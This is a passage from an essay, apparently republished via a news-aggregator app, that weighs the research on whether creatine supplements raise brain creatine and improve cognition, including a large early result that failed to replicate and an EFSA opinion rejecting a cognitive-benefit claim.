The most com­mon the­ory seems to go like this: Actually, mus­cles don’t just use cre­a­tine as an ex­tra en­ergy reser­voir. They also use it to de­liver en­ergy in­side of cells. You see, cre­a­tine dif­fuses faster than ATP in­side of cells. So even with en­durance ex­er­cise, cre­a­tine is still be­ing used: Enzymes near the mi­to­chon­dria use ATP to charge” cre­a­tine into phos­pho­cre­a­tine and en­zymes near myosin use that phos­pho­cre­a­tine to recharge” ADP back into ATP. Even though the net change in cre­a­tine is zero, it helps shuttle” en­ergy from the mi­to­chon­dria to the myosin.

Under this the­ory, what neu­rons and mus­cle cells share is that parts of the cell lo­cally use a lot of en­ergy, when they get trig­gered. So even though your brain does­n’t sprint”, it still uses cre­a­tine to avoid lo­cal en­ergy deficits.

There’s also ex­per­i­men­tal ev­i­dence that cre­a­tine is im­por­tant for the brain. We’ve cre­ated ge­net­i­cally al­tered mice with brains that lack the en­zymes needed to con­vert cre­a­tine to and from phos­pho­cre­a­tine. They dis­play se­verely lim­ited spa­tial learn­ing and some­what smaller brains.

Some hu­mans also nat­u­rally have cre­a­tine de­fi­ciency. In some vari­ants, peo­ple have trou­ble syn­the­siz­ing cre­a­tine. This leads to lower lev­els through­out the body, in­clud­ing skele­tal mus­cle where 95% of cre­a­tine lives. Nevertheless, the pri­mary symp­tom is re­lated to the brain, namely in­tel­lec­tual dis­abil­ity. Muscle weak­ness and seizures are also com­mon. Other peo­ple have cre­a­tine trans­porter de­fi­ciency, mean­ing cre­a­tine can’t cross the blood-brain bar­rier. This leads to lower lev­els in the brain only. This leads again to in­tel­lec­tual dis­abil­ity and also of­ten mus­cle weak­ness or seizures. (That mus­cle weak­ness is de­spite the fact that the mus­cle cells them­selves have nor­mal cre­a­tine lev­els.)14

So some­how, cre­a­tine is very im­por­tant for the brain.

Does sup­ple­ment­ing cre­a­tine in­crease cre­a­tine lev­els in the brain?

Probably, though likely less than in mus­cle.

Creatine can def­i­nitely cross the blood-brain bar­rier. However, the pro­tein that helps it cross is not abun­dant, and there are some sug­ges­tions that it’s down-reg­u­lated with pro­longed cre­a­tine con­sump­tion. The brain it­self can syn­the­size some cre­a­tine, and this too might be down-reg­u­lated by pro­longed con­sump­tion.

Of course, you can just give peo­ple cre­a­tine and see what hap­pens to their brains. There have been around a dozen such stud­ies. Most re­port in­creases be­tween 3% and 10%, al­though a few re­port no change. However, be­cause brains are hard to ac­cess, these stud­ies rely on mag­netic res­o­nance spec­troscopy, and some sug­gest that these mea­sure­ments are un­re­li­able.

In peo­ple who can’t syn­the­size cre­a­tine, oral sup­ple­men­ta­tion seems to nor­mal­ize lev­els in the brain. (Some cog­ni­tive im­pair­ment usu­ally re­mains. One pa­tient was di­ag­nosed and be­gan sup­ple­ment­ing at three weeks of age and had no in­tel­lec­tual dis­abil­ity.) So sup­ple­ment­ing can in­crease brain lev­els in some cir­cum­stances.

My best guess is that sup­ple­ment­ing does usu­ally in­crease lev­els in the brain, and that an in­crease of 3% to 10% is plau­si­ble. But the ev­i­dence is­n’t par­tic­u­larly strong.

Why did peo­ple get in­ter­ested in cre­a­tine hav­ing cog­ni­tive ben­e­fits?

Because of Rae et al. (2003). They took a group of 45 healthy veg­e­tar­ian or ve­gan uni­ver­sity stu­dents in Australia. They did a cross-over trial where half of peo­ple got 5 grams of cre­a­tine per day for six weeks, fol­lowed by a six-week wash-out pe­riod, fol­lowed by the other half of peo­ple get­ting cre­a­tine. Their re­sults were amaz­ing, with huge im­prove­ments on Raven’s ma­tri­ces (RAPM) and back­ward digit span (BDS):

In their analy­sis, cre­a­tine in­creased BDS by 1.19 stan­dard de­vi­a­tions, and RAPM by 1.76 stan­dard de­vi­a­tions. If we con­vert those num­bers to IQ points (where 1 stan­dard de­vi­a­tion ←> 15 IQ points), that would mean in­creases of 17.85 and 26.4 IQ points, re­spec­tively. In both cases, the re­sults were highly sig­nif­i­cant (p < 0.0001).

Does that repli­cate?

No. Following that pa­per var­i­ous groups tried sim­i­lar ex­per­i­ments but no one found such a large or sta­tis­ti­cally sig­nif­i­cant ef­fect. After twenty years of in­con­clu­sive re­sults, Sandkühler et al. (2023) set out to give a de­fin­i­tive re­pro­duc­tion. In my view, this is the high­est-qual­ity RCT ever done on the cog­ni­tive ben­e­fits of cre­a­tine.15 They largely bor­rowed the ex­per­i­men­tal de­sign of Rae et al., al­though they did the ex­per­i­ment in Germany, used a larger sam­ple of 123 peo­ple, used half non-veg­e­tar­i­ans, and they dropped the wash-out pe­riod. Here are their main re­sults:

(T1 shows test re­sults at base­line. T2 shows re­sults af­ter six weeks of cre­a­tine or placebo. T3 shows the re­sults af­ter an­other six weeks, where the placebo group crossed over to cre­a­tine and vise versa.)

Overall, every­one got bet­ter over time, prob­a­bly from prac­tice. On back­wards digit span, dur­ing the first six weeks, the group get­ting placebo ac­tu­ally im­proved slightly faster than the group get­ting cre­a­tine. But when those groups switched be­tween get­ting placebo and cre­a­tine, that (formerly placebo, now cre­a­tine) group im­proved even faster. Just star­ing at the graph, this sug­gests some ben­e­fit. On Raven’s ma­tri­ces, the same thing hap­pened, but with a greatly re­duced mag­ni­tude.

They fit a sta­tis­ti­cal model and re­port an ef­fect size of 0.17 stan­dard de­vi­a­tions for back­wards digit span (~2.5 IQ points, not quite sta­tis­ti­cally sig­nif­i­cant) and 0.09 stan­dard de­vi­a­tions for Raven’s ma­tri­ces (~1 IQ point, not even close to sig­nif­i­cant). They found no ex­tra ben­e­fit for veg­e­tar­i­ans, not even a non-sig­nif­i­cant ben­e­fit.

As far as I can tell, this dis­crep­ancy has never been con­vinc­ingly ex­plained. Rae et al.’s 2003 ex­per­i­ment seems well done. The re­sults are too large to be ex­plained by p-hack­ing and too sta­tis­ti­cally sig­nif­i­cant to be ex­plained by ran­dom noise. Maybe for some rea­son, Rae et al.’s co­hort had lower base­line cre­a­tine lev­els? It’s very odd. But his­tory sug­gests that when an ex­cit­ing re­sult is fol­lowed by a dis­ap­point­ing repli­ca­tion, we should bet on the dis­ap­point­ing repli­ca­tion.

What about all the other RCTs? Doesn’t this call for a meta-analy­sis?

In prin­ci­ple, yes. The trou­ble is, most of the stud­ies don’t re­port the num­bers needed for a good meta-analy­sis. They do some ex­per­i­ment giv­ing cre­a­tine to half of peo­ple and placebo to the other half, and mea­sure how those groups do on some cog­ni­tive test. Then they fit some sta­tis­ti­cal model and re­port p-val­ues or what­ever. But they never ac­tu­ally pub­lish the raw means and stan­dard de­vi­a­tions.16

Fortunately for us, Xu et al. (2024) con­tacted the au­thors for all those tri­als and got their raw data. According to their meta-analy­sis, cre­a­tine had the fol­low­ing ef­fects.

Unfortunately for us, that pa­per is bad. They claim that sev­eral of these re­sults are sta­tis­ti­cally sig­nif­i­cant, but a 2026 com­men­tary points out that they made an er­ror that amounts to dou­ble-count­ing the same data for sev­eral stud­ies.17 For that rea­son, I haven’t shown their (incorrect) con­fi­dence in­ter­vals. If com­puted cor­rectly, I sus­pect none of the re­sults would be sta­tis­ti­cally sig­nif­i­cant. Technically, the above point es­ti­mates are also wrong, al­though the er­ror should­n’t sys­tem­at­i­cally bias them in ei­ther di­rec­tion.

In gen­eral, I have to tell you that I re­ally don’t trust this pa­per. It’s very sloppy with tons of miss­ing de­tails. But as far as I can tell, no one else has ever as­sem­bled the data needed to do a good meta-analy­sis. So I think those num­bers are the best sum­mary we have.

So who can we trust?

I’ll tell you who I trust: The European Food and Safety Authority (EFSA). In 2024, a firm sell­ing cre­a­tine ap­plied to the EU to be al­lowed to ad­ver­tise cog­ni­tive ben­e­fits. This led the EFSA to pub­lish Creatine and im­prove­ment in cog­ni­tive func­tion: Evaluation of a health claim pur­suant to ar­ti­cle 13(5) of reg­u­la­tion (EC) No 1924/2006.

Here’s what they have to say (I’ve cut ref­er­ences for read­abil­ity):

The Panel con­sid­ers that, over­all, the 10 hu­man in­ter­ven­tion stud­ies […] do not show a con­sis­tent ef­fect of cre­a­tine sup­ple­men­ta­tion on cog­ni­tive func­tion. The Panel notes that the acute ef­fect of cre­a­tine on work­ing mem­ory re­ported in some stud­ies […] was not ob­served at lower cre­a­tine doses […] or with con­tin­u­ous con­sump­tion of cre­a­tine. The Panel also notes that the ef­fect of cre­a­tine […] re­ported in one study is an iso­lated find­ing across the body of ev­i­dence, where no ef­fect of cre­a­tine sup­ple­men­ta­tion was ob­served on other cog­ni­tive do­mains, in­clud­ing dif­fer­ent facets of mem­ory (episodic, short‐term, vi­sual), ver­bal flu­ency, at­ten­tion, alert­ness, pro­cess­ing speed, psy­chomo­tor speed, ex­ec­u­tive func­tion and gen­eral cog­ni­tive abil­ity/​flex­i­bil­ity and fluid in­tel­li­gence. Finally, the Panel notes that the three in­ter­ven­tion stud­ies con­ducted in dis­eased in­di­vid­u­als do not sup­port an ef­fect of cre­a­tine sup­ple­men­ta­tion on cog­ni­tion.

The Panel con­sid­ers that, over­all, the 10 hu­man in­ter­ven­tion stud­ies […] do not show a con­sis­tent ef­fect of cre­a­tine sup­ple­men­ta­tion on cog­ni­tive func­tion. The Panel notes that the acute ef­fect of cre­a­tine on work­ing mem­ory re­ported in some stud­ies […] was not ob­served at lower cre­a­tine doses […] or with con­tin­u­ous con­sump­tion of cre­a­tine. The Panel also notes that the ef­fect of cre­a­tine […] re­ported in one study is an iso­lated find­ing across the body of ev­i­dence, where no ef­fect of cre­a­tine sup­ple­men­ta­tion was ob­served on other cog­ni­tive do­mains, in­clud­ing dif­fer­ent facets of mem­ory (episodic, short‐term, vi­sual), ver­bal flu­ency, at­ten­tion, alert­ness, pro­cess­ing speed, psy­chomo­tor speed, ex­ec­u­tive func­tion and gen­eral cog­ni­tive abil­ity/​flex­i­bil­ity and fluid in­tel­li­gence. Finally, the Panel notes that the three in­ter­ven­tion stud­ies con­ducted in dis­eased in­di­vid­u­als do not sup­port an ef­fect of cre­a­tine sup­ple­men­ta­tion on cog­ni­tion.

I think we should con­sider this de­fin­i­tive. I’d go so far as to say this doc­u­ment prob­a­bly rep­re­sents the great­est ef­fort our civ­i­liza­tion has ever made to un­der­stand if cre­a­tine has cog­ni­tive ben­e­fits.

But we need to re­mem­ber the ESFAs role. They’re ask­ing if cre­a­tine has been proven to have cog­ni­tive ben­e­fits, be­cause they’re de­cid­ing if it should be le­gal to ad­ver­tise cog­ni­tive ben­e­fits. They say no and I be­lieve them. But that does­n’t mean there are no cog­ni­tive ben­e­fits.

Are there other re­views of the RCTs?

Yes. Here are all the re­cent re­views I could find, with a few rep­re­sen­ta­tive quotes from each:

Performance on cog­ni­tive tasks stayed un­changed in young in­di­vid­u­als.”

Vegetarians re­sponded bet­ter than meat-eaters in mem­ory tasks”

may im­prove the per­for­mance in some cog­ni­tive tasks, par­tic­u­larly in stress­ful con­di­tions (e.g. men­tal fa­tigue, ex­haus­tive ex­er­cise).”

supplementation stud­ies con­comi­tantly as­sess­ing brain cre­a­tine lev­els and cog­ni­tive func­tion are needed”

Vegans do not in­take suf­fi­cient […] cre­a­tine to en­sure the lev­els nec­es­sary for main­tain­ing op­ti­mal cog­ni­tive out­put.”

Closer ex­am­i­na­tion of [the ev­i­dence] sug­gests that there may be more pos­i­tive out­comes of sup­ple­men­ta­tion than the re­search so far pro­vides.”

On av­er­age, the RCTs do find a small pos­i­tive ef­fect, just not a sta­tis­ti­cally sig­nif­i­cant pos­i­tive ef­fect. As I so of­ten point out, that’s ex­actly what we would ex­pect if the true ef­fect were pos­i­tive but small. But it’s also en­tirely pos­si­ble that this is due to ran­dom chance or p-hack­ing or pub­li­ca­tion bias. Gwern con­tacted one au­thor and found that pub­li­ca­tion bias did in fact oc­cur.

Overall, I think the RCTs pro­vide very weak ev­i­dence in fa­vor of a small ben­e­fit for healthy adults. (Perhaps 0.1 to 0.3 stan­dard de­vi­a­tions, de­pend­ing on the mea­sure.) I also think they pro­vide mod­er­ate ev­i­dence against a larger ef­fect for healthy adults (above, say, 0.5 stan­dard de­vi­a­tions) and weak ev­i­dence for a small ben­e­fit for adults that are stressed” in some way that might di­min­ish cre­a­tine, such as be­ing older, ve­gan, or phys­i­cally ex­hausted.

Can you sum­ma­rize the ev­i­dence in fa­vor of cre­a­tine mak­ing you smarter?

I would love to do that:

Creatine is spe­cial. Very few nu­tri­ents re­ally make you stronger, but cre­a­tine does.

Few parts of the body other than mus­cles use sig­nif­i­cant cre­a­tine, but the brain does.

Creatine can cross the blood-brain bar­rier.

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.